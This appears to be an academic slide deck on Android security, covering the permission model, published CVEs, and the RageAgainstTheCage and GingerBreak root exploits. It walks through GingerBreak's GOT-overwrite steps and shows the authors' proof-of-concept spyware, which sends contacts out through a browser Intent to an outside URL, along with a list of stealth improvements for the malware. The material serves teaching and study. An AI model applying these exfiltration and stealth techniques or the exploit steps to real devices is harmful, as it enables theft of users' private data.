Android OS Exploits

by Soteris Demetriou & Nikhil Tayal
Motivation
My smartphone and me

Smartphones rule half the U.S. market

CHRISTINE ROBERTS
Wednesday, August 15, 2012

Regular cell phones may be on the way out.

For the first time since they hit the market, smartphones are now in the pockets of more than half of the Americans who use mobile phones, according to a report published by the consulting firm, Chetan Sharma Consulting.

A Nielsen study in May boasted similar results, finding that 50.4 percent of U.S. smartphone users were smartphones - a dramatic increase from the 39.8 percent share recorded in May 2011.

However, Sharma's research also suggests that smartphones may be on the way out if they come from outside of the U.S. Instead, they may take on a more traditional appearance, with large screens and smaller displays.

9 Smartphone Apps Every Salesperson Must Have

If you are a salesperson then you will have a smartphone. Not a Blackberry because no one in this country uses Blackberrys any more. You will have an iPhone or a phone that uses the Android operating system. This may not be the case in just a few years when (in my opinion) tablets, like the iPad, Nexus
My smartphone and me

IS YOUR SMARTPHONE ADDING TO YOUR WORKPLACE STRESS?

Submitted by Bobbi Dempsey on Tue, 12/20/2011 - 9:35am

Do You Sleep With Your iPhone? Psychologists Worry About This New Addiction

By Susan Megrund on Tue July 26th, 2011

Smartphone addiction
My smartphone and me
Why Android

FRAMINGHAM, Mass. August 8, 2012
Why Android

<table>
<thead>
<tr>
<th>Operating System</th>
<th>Q2 2012 Shipments</th>
<th>Q2 2012 Market Share</th>
<th>Q2 2011 Shipments</th>
<th>Q2 2011 Market Share</th>
<th>Year-over-year Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Android</td>
<td>104.8</td>
<td>68.1%</td>
<td>50.8</td>
<td>46.9%</td>
<td>106.5%</td>
</tr>
<tr>
<td>iOS</td>
<td>26.0</td>
<td>16.9%</td>
<td>20.4</td>
<td>18.8%</td>
<td>27.5%</td>
</tr>
<tr>
<td>BlackBerry OS</td>
<td>7.4</td>
<td>4.8%</td>
<td>12.5</td>
<td>11.5%</td>
<td>-40.9%</td>
</tr>
<tr>
<td>Symbian</td>
<td>6.8</td>
<td>4.4%</td>
<td>18.3</td>
<td>16.9%</td>
<td>-62.9%</td>
</tr>
<tr>
<td>Windows Phone 7 / Windows Mobile</td>
<td>5.4</td>
<td>3.5%</td>
<td>2.5</td>
<td>2.3%</td>
<td>115.3%</td>
</tr>
<tr>
<td>Linux</td>
<td>3.5</td>
<td>2.3%</td>
<td>3.3</td>
<td>3.0%</td>
<td>6.3%</td>
</tr>
<tr>
<td>Others</td>
<td>0.1</td>
<td>0.1%</td>
<td>0.6</td>
<td>0.5%</td>
<td>-80.0%</td>
</tr>
<tr>
<td>Grand Total</td>
<td>154.0</td>
<td>100.0%</td>
<td>108.3</td>
<td>100.0%</td>
<td>42.2%</td>
</tr>
</tbody>
</table>

Source: IDC Worldwide Mobile Phone Tracker, August 8, 2012
Background
Is it safe?

- Android Platform Security Architecture
Is it safe?

- **System and kernel Level Security**
  - Linux based
- **Application Security**
  - Permissions
Is it safe?

- **Kernel**
  - User ID per application

- **Application Level**
  - Permissions
Is it safe?

- **Kernel**
  - Linux Security
  - App Sandbox
  - System Partition & Safe mode
  - Filesystem Permissions
  - Filesystem Encryption
  - Password Protection
  - Device Administration
  - Memory Management Security Enhancements
  - Rooting of Devices
Is it safe?

- **Kernel (1/9)**
  - Linux Security
    - User-based permission model
    - Process Isolation
    - Ability to modify the kernel
Is it safe?

- **Kernel (2/9)**
  - Application Sandbox
    - Unique **UID** and **GID** per app on install
    - a Linux Process per app
Is it safe?

- Kernel (2/9) cnt'd
  - Application Sandbox cnt'd
    - (android:sharedUserId)
Is it safe?

- **Kernel (3/9)**
  - System Partition
    - Android Kernel
    - OS libraries
    - Application runtime
    - Application Framework
    - Applications
  - Safe mode
    - only core applications
Is it safe?

• **Kernel (4/9)**
  - Filesystem Permissions
    - Ensure that User A cannot alter or read User's B files
    - Application = User
Is it safe?

- **Kernel (5/9)**
  - Filesystem Encryption
    - >= 3.0
    - Data encrypted in the Kernel
Is it safe?

- **Kernel (6/9)**
  - Password Protection
    - User defined
    - Prevents unauthorized access to the device
    - Protects the cryptographic key for full filesystem encryption
Is it safe?

- **Kernel (7/9)**
  - Device Administration
    - >= 2.2
    - API for security-aware enterprise applications
    - Password policies enforcement
    - Remotely wipe handsets
Is it safe?

- **Kernel (8/9)**
  - Memory Management Security Enhancements
    - Memory Corruption Mitigation
      - ASLR
      - DEP
Is it safe?

- **Kernel (9/9)**
  - Rooting of Devices
    - Who is Root?
      - Kernel
      - small subset of core applications
    - Root can modify:
      - the OS
      - the Kernel
      - other applications
Is it safe?

- **Kernel (9/9) cont'd**
  - Why Root?
    - Developers
      - Debugging
      - Access features not present in the API
  - User Data?
    - Bootloader erases any existing user data as part of the unlock step
    - **Rooting through kernel exploits, bypasses this protection**
Is it safe?

- Kernel (9/9) cont'd
  - Data Encryption?
    - key stored on device?
    - key stored off device?
      - password, stored on a server
      - AT SOME POINT THE KEY MUST BE PROVIDED TO THE APPLICATION
  - More robust approach
    - Hardware solutions by OEMs
  - Lost/Stolen Device
    - Edev.pass(encryption key) used to Ee.k(filesystem)
Is it safe?

• Application Security
  o Application Elements
  o Permission Model
  o Interprocess Communication
  o Cost Sensitive APIs
  o SIM card access
  o Personal Information
  o Sensitive Data Input Devices
  o Device Metadata
  o Application Signing
Is it safe?

- Application Security (1/9)
  - Application Elements
    - AndroidManifest.xml
    - Activities
      - One per screen (typically)
    - Services
      - Background processes
    - BroadcastReceiver
      - It's your mailbox!
  - Content Provider
    - Store & Share Data
Application Security (2/9)

- Permission Model
  - "no application by default, has permission to perform any operations that would adversely impact other applications, the operating system, or the user."
  - Sensitive APIs are protected through Permissions
  - Some capabilities are protected by an intentional lack of APIs
  - 138 available Permissions (TODO: confirm number)
Is it safe?

- **Application Security (2/9)**
  - Permission Model cnt'd
    - Resources are only accessible through the OS
      - Do you want to use a capability? Ask for it
        - How? AndroidManifest.xml
          ```xml
          <uses-permission
              android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
          <uses-permission
              android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
          <uses-permission
              android:name="android.permission.ACCESS_NETWORK_STATE" />
          <uses-permission
              android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
          <uses-permission
              android:name="android.permission.CAMERA" />
          <uses-permission
              android:name="android.permission.GET_ACCOUNTS" />
          ```
  
- User must approve all your requests to install your app
  - No turning back! Once granted cannot be ungranted. hmm.. are you sure? (/data/system/packages.xml)
Is it safe?

• **Application Security (2/9)**
  
  o **Permission Model cnt'd**
    
    • Try to use capabilities without permission
      
      • permission failure (printed on system log)
      
      • SecurityException
        
        o not always ( sendBroadcast(Intent) )

    • Permission Enforcement
      
      • call
      
      • activity start
      
      • send/rcv broadcasts
      
      • accessing content providers
      
      • binding to or starting a service
Is it safe?

- **Application Security (2/9)**
  - Permission Model cnt'd
    - You can enforce your own permissions as well!
      - control who can launch your Activity
      - In General, "protect" your application's resources
      - Define it
        - android:protectionLevel
          - normal
          - dangerous
      - Declare it
        - android:permission
Is it safe?

- **Application Security (3/9)**
  - Interprocess Communication
    - filesystems, local sockets, signals (with respect to Linux Permissions)
    - Android introduces:
      - Binder
      - Intent
      - Service
      - ContentProvider
Is it safe?

Application Security (4/9)

- Cost Sensitive APIs
  - any API that might be costly to the user or the Network
    - Telephony
    - SMS/MMS
    - Network/Data
    - In-App Billing
    - NFC access
      - Protected by the OS
      - User must grant explicit permission
Is it safe?

- **Application Security (5/9)**
  - SIM card access
    - 3rd party apps don't have low level access to SIM (OS handles all communication with it)
    - no access to AT commands (Radio Interface Layer manages them and it doesn't provide any API for accessing them)
Is it safe?

- Application Security (6/9)
  - Personal Information
    - Access through protected APIs
    - Data collected by 3rd party apps?
  - Developers should address this with permissions
Is it safe?

- Application Security (7/9)
  - Sensitive Data Input Devices
    - Camera
    - GPS
    - Microphone
  - Security Mechanism is (drum roll..):
    - Permissions!! (applause)
Is it safe?

- **Application Security (8/9)**
  - Device Metadata
    - data that can leak user information indirectly
  - SystemLogs
  - Browser History (Memento paper)
    - phone number
  - hardware / network identification
  - Permission protected!
Is it safe?

- **Application Security (9/9)**
  - Application Signing
    - Aim: Identify the author
    - If you don't sign it?
      - Can't publish to GooglePlay
      - package installer will refuse to install it
    - Signed App Certificate defines the UID on the device
    - share UID only if the Pkey in the certificate matches the Pkey of any other installed app
Is it safe?

- Application Security (9/9)
  - Application Signing cnt'd
    - Certificates
      - Self-signed
      - No CA verification
Some beg to differ!

Malware & Vulnerabilities
Android malware

Android activation will reach 1 billion by Nov. 2013

~85% of all mobile malware attacks since 2011 on Android

Android malware families quadruple from 2011 to 2012

Google Play w/ no central virus scanner

# of Android malware from Q3 2011 to Q2 2012
Glossary

- **Vulnerability**: A flaw on the kernel, OS or application
- **Exploit**: A utilization of that vulnerability to achieve a goal
- **Malware**: It can use an exploit for a malevolent purpose
### Android Vulnerabilities

<table>
<thead>
<tr>
<th>CVE ID</th>
<th>CWE ID</th>
<th># of Exploits</th>
<th>Vulnerability Type(s)</th>
<th>Publish Date</th>
<th>Update Date</th>
<th>Score</th>
<th>Gained Access Level</th>
<th>Access Complexity</th>
<th>Authentication</th>
<th>Confidence</th>
<th>Integrity</th>
<th>Availability</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2012-3979</td>
<td></td>
<td></td>
<td>Exec Code</td>
<td>2012-08-29</td>
<td>2012-08-29</td>
<td>6.8</td>
<td>None</td>
<td>Remote</td>
<td>Medium</td>
<td>Not required</td>
<td>Partial</td>
<td>Partial</td>
</tr>
</tbody>
</table>

Mozilla Firefox before 15.0 on Android does not properly implement unspecified callers of the `__android_log_print` function, which allows remote attackers to execute arbitrary code via a crafted web page that calls the JavaScript `dump` function.

| CVE-2011-4276 | 200 |               | +Info                 | 2012-01-25   | 2012-01-26 | 4.3   | None                | Remote            | Medium         | Not required | Partial   | None     |

The Bluetooth service (com/android/phone/BluetoothHeadsetService.java) in Android 2.3 before 2.3.6 allows remote attackers within Bluetooth range to obtain contact data via an AT phonebook transfer.

| CVE-2011-3975 | 200 |               | +Info                 | 2011-10-03   | 2011-10-20 | 7.6   | None                | Remote            | High           | Not required | Partial   | None     |

A certain HTC update for Android 2.3.4 build GRJ22, when the Sense interface is used on the HTC EVO 3D, EVO 4G, Thunderbolt, and unspecified other devices, provides the `HtcLoggers.apk` application, which allows user-assisted remote attackers to obtain a list of telephone numbers from a log, and other sensitive information, by leveraging the `android.permission.internet` application permission and establishing TCP sessions to 127.0.0.1 on port 55511 and a second port.

| CVE-2011-3918 | 300 |               | DoS                   | 2012-10-07   | 2012-10-08 | 7.8   | None                | Remote            | Low            | Not required | None     | None     |

The Zygoes process in Android 4.0.3 and earlier accepts fork requests from processes with arbitrary UIDs, which allows remote attackers to cause a denial of service (reboot loop) via a crafted application.

| CVE-2011-3874 | 110 |               | Exec Code Overflow    | 2012-02-02   | 2012-02-08 | 9.3   | None                | Remote            | Medium        | Not required | Complete  | Complete  |

Stack-based buffer overflow in libsubsys in Android 2.2.x through 2.2.2 and 2.3.x through 2.3.6 allows user-assisted remote attackers to execute arbitrary code via an application that calls the `FrameworkListener dispatchCommand` method with the wrong number of arguments, as demonstrated by zergRush to trigger a use-after-free error.

---

Picasa: Photos Anyone?

Android Picasa in Android 3.0 and 2.x through 2.3.4 uses a cleartext HTTP session when transmitting the authToken obtained from ClientLogin, which allows remote attackers to gain privileges and access private pictures and web albums by sniffing the token from connections with picasaweb.google.com.

Android Picasa in Android 3.0 and 2.x through 2.3.4 uses a cleartext HTTP session when transmitting the authToken obtained from ClientLogin, which allows remote attackers to gain access private pictures and web albums by sniffing the token from connections with picasaweb.google.com.

Publish Date : 2011-07-08 Last Update Date : 2011-07-08

Catching AuthTokens in the Wild
The Insecurity of Google's ClientLogin Protocol

by Bastian Könings, Jens Nickels, and Florian Schaub

UPDATE, June 15, 2011

Google has released patches for securing the Picasa synchronization as well. The patches are available in the Android open source code repository as part of the Gallery3D application for Android 2.1 (Eclair), 2.2 (Froyo), and 2.3 (Gingerbread). However, as the app became the default pre-installed gallery app in Android 2.3, it is not clear whether and how the patched app is going to be pushed on 2.3 devices.

UPDATE, May 20, 2011

Google announced that they are going to fix the issue also for devices with older Android versions. The fix does not require an update of the Android OS and will be transparent to the user. So, as far as we know, users will not get any feedback when the update will be available on their devices. The fix is based on a changed configuration file for Google services on the device. The update mechanism might be similar to the application removal or Android Cloud to Device Messaging (C2DM) features. The update will only ensure encrypted synchronization of Calendar and Contacts. The Picasa synchronization, which was integrated in Android 2.3, will remain unencrypted.

http://www.uni-ulm.de
Skype Privacy Leak

```
# ls -l /data/data/com.skype.merlin_mecha/files/shared.xml
-rw-rw-rw- app_152 app_152 56136 2011-04-13 00:07 shared.xml

# grep Default /data/data/com.skype.merlin_mecha/files/shared.xml
<Default>jcaseap</Default>
```

```
# ls -l /data/data/com.skype.merlin_mecha/files/jcaseap
-rw-rw-rw- app_152 app_152 331776 2011-04-13 00:08 main.db
-rw-rw-rw- app_152 app_152 119528 2011-04-13 00:08 main.db-journal
-rw-rw-rw- app_152 app_152 40960 2011-04-11 14:05 keyval.db
-rw-rw-rw- app_152 app_152 3522 2011-04-12 23:39 config.xml
drwxrwxrwx app_152 app_152 2011-04-11 14:05 voicemail
-rw-rw-rw- app_152 app_152 0 2011-04-11 14:05 config.lck
-rw-rw-rw- app_152 app_152 61440 2011-04-13 00:08 bistats.db
drwxrwxrwx app_152 app_152 2011-04-12 21:49 chatsync
-rw-rw-rw- app_152 app_152 12824 2011-04-11 14:05 keyval.db-journal
-rw-rw-rw- app_152 app_152 33344 2011-04-13 00:08 bistats.db-journal
```

http://www.androidpolice.com
[Fixed] Privacy vulnerability in Skype for Android

20 April 2011: This vulnerability has been fixed. Please update Skype on your Android device.

It has been brought to our attention that, were you to install a malicious third-party application onto your Android device, then it could access the locally stored Skype for Android files.

These files include cached profile information and instant messages. We take your privacy very seriously and are working quickly to protect you from this vulnerability, including securing the file permissions on the Skype for Android application.

To protect your personal information, we advise users to take care in selecting which applications to download and install onto their device.

Posted to: Privacy

Privacy vulnerability in Skype for Android fixed

After a period of developing and testing we have released a new version of the Skype for Android application onto the Android Market, containing a fix to the vulnerability reported to us. Please update to this version as soon as possible in order to help protect your information.

We have had no reported examples of any 3rd party malicious application misusing information from the Skype directory on Android devices and will continue to monitor closely. Please rest assured that we do take your privacy and security very seriously and we sincerely apologise for any concern this issue may have caused.

Please ensure that you download Skype only from skype.com, or from the Android Market links on skype.com.

Posted to: Privacy

Free Games: Really?

Not just private information but your money

- Angry Birds, Assassin's Creed, Cut the Rope
- Repackaged version on unofficial application stores
- Permissions - "sending messages at premium rates"
- Send messages every time app is started
- Intercept and consume incoming credit card transaction alerts
Free Games: Really?

GingerBreak!

- root exploit
- install malicious code
- communicate to remote websites to compromise phone information
- download and install further malware
- your device - a part of botnet under the control of hackers
Root Exploits
Root Exploits

• **Who wants to be root?**
  o Developers
    ▪ Debugging
    ▪ Access hidden capabilities
  o Owner
    ▪ Customization
  o Malware
    ▪ Circumvent security

• **It's like "jailbreaking"**
  o usually are based on a Kernel exploit
Root Exploits

• **User Data?**
  
  o Bootloader erases any existing user data as part of the unlock step
  
  o **Rooting through kernel exploits, bypasses this protection**
Root Exploits

- **RageAgainstTheCage - ADB Exhaustion attack**
  - Linux - RLIMIT_NPROC
    - defines the max number of simultaneous processes allowed for a user Id
  - **Android Debug Bridge**
    - adb daemon is root by default
      - on emulator
      - on a device configured in debug mode
    - Otherwise...
      - tries to downgrade its privileges to shell user (AID_SHELL) by calling setuid
    - Hmmmm. FORK BOMB!!

**Root Exploits**
Root Exploits

• **RageAgainstTheCage - ADB Exhaustion attack cnt'd**
  - **FORK BOMB**
    - fork processes out of the adb daemon which is now running as AID_SHELL user
    - once we exceed RLIMIT_NPROC adb dies
    - adb tries to restart
      - it starts as root (default)
      - it tries to call setuid
        - Ooops.. no more processes are allowed for AID_SHELL
        - adb continues as AID_ROOT (there is no check the setuid return value )
GingerBreak
Impact

- Android 2.2(Froyo) and Android 2.3(GingerBread)
- Repackaged app on unofficial app stores

Vulnerability - VOLD (Volume Manager Daemon)

- mPartMinors and part_num - signed integers
- assumes Netlink messages used for IPC b/w kernel and user to be initiated by kernel only
- `DirectVolume::handlePartitionAdded` method
  - part_num and minor variables initialized from NetLink message configurations
- part_num checked for MAX value (but not for negative)
  - `mPartMinors[part_num - 1] = minor`
Exploit

• places the rooting binary at a valid address inside the memory space of vold by exploiting the vulnerability
• modifies the .got table address of one of the shared functions (like atoi() or strcmp()) for vold and points it to the rooting binary address

Result

• vold executes the rooting binary whenever it tries to call the overwritten shared function
• the device is rooted as vold was running as system process and hence the rooting binary was executed by root itself
GingerBreak

Start

Is UID=0 & exe = 'boomsh'?  

No as we are not root yet

mPartsMinor

<table>
<thead>
<tr>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>-1</td>
</tr>
<tr>
<td>-2</td>
</tr>
<tr>
<td>-3</td>
</tr>
<tr>
<td>-4</td>
</tr>
<tr>
<td>-5</td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

Information Gathering

<table>
<thead>
<tr>
<th>mPartsMinor</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
</tr>
<tr>
<td>1</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>-1</td>
</tr>
<tr>
<td>-2</td>
</tr>
<tr>
<td>-3</td>
</tr>
<tr>
<td>-4</td>
</tr>
<tr>
<td>-5</td>
</tr>
</tbody>
</table>
GingerBreak

Information Gathering

1. Get pid of vold
   - read /proc/net/netlink
   - parse PID and check if the name of the process is /system/bin/vold by reading /proc/PID/cmdline

2. Get address of system shared symbol
   - read the system's C library object using dlopen()
   - find the address of system by calling dladdr()

3. Get got address range
   - Global Offset Table stores the addresses of the shared symbols like strcmp()
   - By parsing the ELF header (Executable and Linkable Format)

4. Get device
   - read '/etc/vold.fstab' & '/system/etc/vold.fstab' to discover
   - Use(/devices/platform/msm_sdcc.2/mce_host/mmc1)/ in case read fails

Static struct {
  pid_t pid;
  uint32_t got_start, got_end;
  uint32_t system;
  char *device;
  char found; } vold;
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

Information Gathering

<table>
<thead>
<tr>
<th>mPartsMinor</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
</tr>
<tr>
<td>1</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>-1</td>
</tr>
<tr>
<td>-2</td>
</tr>
<tr>
<td>-3</td>
</tr>
<tr>
<td>-4</td>
</tr>
<tr>
<td>-5</td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found;
} void;

mPartsMinor

2
1
0
-1
-2
-3
-4
-5
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

NetLink msg

minor(value)

partNumber(index)

mPartsMinor

static struct {
  pid_t pid;
  uint32_t got_start, got_end;
  uint32_t system;
  char *device;
  char found;}

vold;

Send NETLINK messages with increasing –ve indexes and vold.system as parameters. Repeat until successful.
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

Redirect logs to a temporary file and check if we see a fault at each line of log.

NetLink msg

minor(value)

partNumber(index)

mPartsMinor

static struct {
  pid_t pid;
  uint32_t got_start, got_end;
  uint32_t system;
  char *device;
  char found;}
vold;

Send NETLINK messages with increasing–ve indexes and vold.system as parameters. Repeat until successful

<table>
<thead>
<tr>
<th></th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>-1</td>
</tr>
<tr>
<td></td>
<td>-2</td>
</tr>
<tr>
<td></td>
<td>-3</td>
</tr>
<tr>
<td></td>
<td>-4</td>
</tr>
<tr>
<td></td>
<td>-5</td>
</tr>
</tbody>
</table>
**GingerBreak**

1. Start
   - Is UID=0 & exe = ‘boomsh’?

2. NetLink msg
   - minor(value)
   - partNumber(index)
   - mPartsMinor

3. static struct {
   pid_t pid;
   uint32_t got_start, got_end;
   uint32_t system;
   char *device;
   char found; }
   vold;

4. Send NETLINK messages with increasing –ve indexes and vold.system as parameters. Repeat until successful.

<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>-1</td>
<td>Fault</td>
</tr>
<tr>
<td>-2</td>
<td></td>
</tr>
<tr>
<td>-3</td>
<td></td>
</tr>
<tr>
<td>-4</td>
<td></td>
</tr>
<tr>
<td>-5</td>
<td></td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

NetLink msg

minor(value)

partNumber(index)

mPartsMinor

static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found;
} vold;

Send NETLINK messages with increasing -ve indexes and vold.system as parameters. Repeat until successful

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-1</td>
<td>Fault</td>
<td></td>
</tr>
<tr>
<td>-2</td>
<td>Fault</td>
<td></td>
</tr>
<tr>
<td>-3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-5</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

NetLink msg

minor(value)

partNumber(index)

mPartsMinor

static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found;
} vold;

Send NETLINK messages with increasing –ve indexes and vold.system as parameters. Repeat until successful

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td></td>
</tr>
<tr>
<td>0</td>
<td></td>
</tr>
<tr>
<td>-1</td>
<td>Fault</td>
</tr>
<tr>
<td>-2</td>
<td>Fault</td>
</tr>
<tr>
<td>-3</td>
<td>No Fault</td>
</tr>
<tr>
<td>-4</td>
<td></td>
</tr>
<tr>
<td>-5</td>
<td></td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = 'boomsh'?

NetLink msg

minor(value)

partNumber(index)

mPartsMinor

Sender NETLINK messages with increasing -ve indexes and vold.system as parameters. Repeat until successful.
GingerBreak

Start

Is UID=0 & exe = 'boomsh'? 

Send NETLINK messages with increasing -ve indexes and vold.system as parameters. Repeat until successful 

Static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found; } vold;

Iterate over the got range of vold and find a symbol to replace in the table 

<table>
<thead>
<tr>
<th>atoi()</th>
<th>AddrI</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>strcmp()</th>
<th>AddrJ</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>-1</td>
</tr>
<tr>
<td>-2</td>
</tr>
<tr>
<td>-3</td>
</tr>
<tr>
<td>-4</td>
</tr>
<tr>
<td>-5</td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = 'boomsh'?

got table

```
static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char *found; } vold;
```

Send NETLINK messages with increasing -ve indexes and vold.system as parameters. Repeat until successful

Iterate over the got range of vold and find a symbol to replace in the table

<table>
<thead>
<tr>
<th>mPartsMinor</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
</tr>
<tr>
<td>1</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>-1</td>
</tr>
<tr>
<td>-2</td>
</tr>
<tr>
<td>-3</td>
</tr>
<tr>
<td>-4</td>
</tr>
<tr>
<td>-5</td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

Got table

- atoi()
  - AddrX

- strcmp()
  - AddrJ

Static struct {
  pid_t pid;
  uint32_t got_start, got_end;
  uint32_t system;
  char *device;
  char found; } vold;

Send NETLINK messages with increasing -ve indexes and vold.system as parameters. Repeat until successful

Iterate over the got range of vold and find a symbol to replace in the table

mPartsMinor

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-1</td>
<td>Fault</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-2</td>
<td>Fault</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-3</td>
<td>vold.system</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-4</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-5</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = ‘boomsh’?

static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found;}
    void;

Send NETLINK messages with increasing positive indexes and vold.system as parameters. Repeat until successful.

Iterate over the got range of vold and find a symbol to replace in the table.

vold when triggered by system (with uid=0) will attempt to call strcmp() which will actually be a call to system("/data/local/tmp/boomsh")

<table>
<thead>
<tr>
<th>mPartsMinor</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
</tr>
<tr>
<td>1</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>-1</td>
</tr>
<tr>
<td>-2</td>
</tr>
<tr>
<td>-3</td>
</tr>
<tr>
<td>-4</td>
</tr>
<tr>
<td>-5</td>
</tr>
</tbody>
</table>
GingerBreak

Start

Is UID=0 & exe = 'boomsh'?

Yes we are root now

Remount 'data' on the appropriate mount point

Change the owner/group of 'data/local/tmp/sh'  
chown(sh,0,0)

Change the permissions of 'data/local/tmp/sh'  
chown(sh,04711)

Stop

vold when triggered by system (with uid=0) will attempt to call strcmp() which will actually be a call to:

system("/data/local/tmp/boomsh")
GingerBreak

GingerMaster - Ginger Break For Me

- gbfm.png
- registers a receiver so that it is notified when the system finishes booting
- launches a background service which collects information like device id, phone number etc.
- establishes a bidirectional channel with a remote server
  - uploads the information
  - downloads new malware

http://www.csc.ncsu.edu/faculty/jiang/GingerMaster/
Approach
Approach

• Thread Model
  o User
    - benign
    - rooted her phone for better performance and full customization capabilities.
  o Device
    - an official device (hardware untainted)
    - we trust the device to perform all its legal operations correctly
    - User processes have root privileges
Approach

• Thread Model cnt'd
  o Attacker
    ▪ Passive
      • Silently reads user's private data
    ▪ Establishes a communication channel with a remote computer administered by the attacker
    ▪ Sends the private information to the remote location
    ▪ Stealthy
      • request as less permission as possible
      • do malicious operation in the background
      • conceals its functionality by offering benign operations
Design - Implementation
GET CONTACTS PERMISSION
Design - Implementation - A

GET CONTACTS PERMISSION ✓
Design - Implementation - A

GET CONTACTS PERMISSION √
INTERNET PERMISSION?
Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));

MainActivity.ctx.startActivity(myIntent);
http://soterisdemetriou.com/cs423/project/src sider.php?id=192484787920;1234567890&contacts=[{"id":"1","email":"ASCO Patient Helpline","phone":"17040040:888\u2013651\u20133038","name":"ASCO Patient Helpline"},{"id":"4","email":null,"phone":"17040040:+1 217-123-6547","name":"Anonymous Anonymous"},{"id":"5","email":null,"phone":"17040040:(217) 123-6598","name":"Sample Sampler"}]
ARE YOU ROOT?

User Applications: ...

PackageManager
ARE YOU ROOT?
ARE YOU **ROOT**?

GET ACCOUNTS?
ARE YOU **ROOT**?

**GET ACCOUNTS**
ARE YOU ROOT?
Design - Implementation - D

ARE YOU ROOT?

WHAT THE … ?!
Demonstration
Improvements
Improvements

- Send the data whenever the screen is off
- Save data to a local DB and send them gradually (in chunks) whenever:
  - the screen is OFF
  - WiFi is connected
- Get User's telephone number
- Get Device's Location
- Disable Superuser Notifications
- A malware needs to be stealthy
  - mind app's CPU usage
  - mind app's Memory usage
  - mind the Permissions it requests
References
REFERENCES


Framingham, M. 2012. Android and iOS Surge to New Smartphone OS Record in Second Quarter, According to IDC.


GingerBreak(OutOfArrayBounds exploit) - Exploit Walkthrough

GingerBreak - Source Code Downloadable from this link (zip file-binary,c,readme):

LeNa - technical breakdown

RageAgainstTheCage - Logic Flaw exploit to gain Root Access
http://thesnkchrmr.wordpress.com/2011/03/24/rageagainstthecage/

Vulnerabilities DB
http://stealth.openwall.net/xSports/

Android Security Features

Android Rooting
http://androidforums.com/casio-g-zone-commando/512496-learning-programming.html


https://blog.duosecurity.com/category/android/

http://www.zer0trusion.com/2011/03/android-local-privilege-escalation.html


http://elinux.org/Android_Security


http://pages.videotron.com/gravufo/android_flash_en.html


http://www.csc.ncsu.edu/faculty/jiang/GingerMaster/

Conclusion

• ...but always pay attention to the man behind the curtain
The end!

Image taken from: http://equal-life.blogspot.com